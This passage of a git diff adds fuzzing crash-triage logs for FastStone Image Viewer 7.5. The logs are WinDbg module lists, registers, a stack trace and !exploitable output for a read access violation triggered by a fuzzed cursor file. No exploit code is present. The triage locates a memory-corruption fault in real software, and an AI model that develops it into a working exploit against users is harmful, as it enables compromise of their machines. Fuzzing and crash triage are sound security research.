(x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x520: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x520: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(520.8c8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07f67b10 edx=00003879 esi=ffdd0010 edi=0f7b2fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.766379799681844320000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.665607400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.19333e-006 -1.22451e+026 -1.11185e+027 -1.41367e+024 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08048130 07fc5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028a000 52d19e85 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..ff2651e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x520: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x520: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(520.8c8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07f67b10 edx=00003879 esi=ffdd0010 edi=0f7b2fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.766379799681844320000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.665607400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.19333e-006 -1.22451e+026 -1.11185e+027 -1.41367e+024 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08048130 07fc5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028a000 52d19e85 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c45ab50 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/10563/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 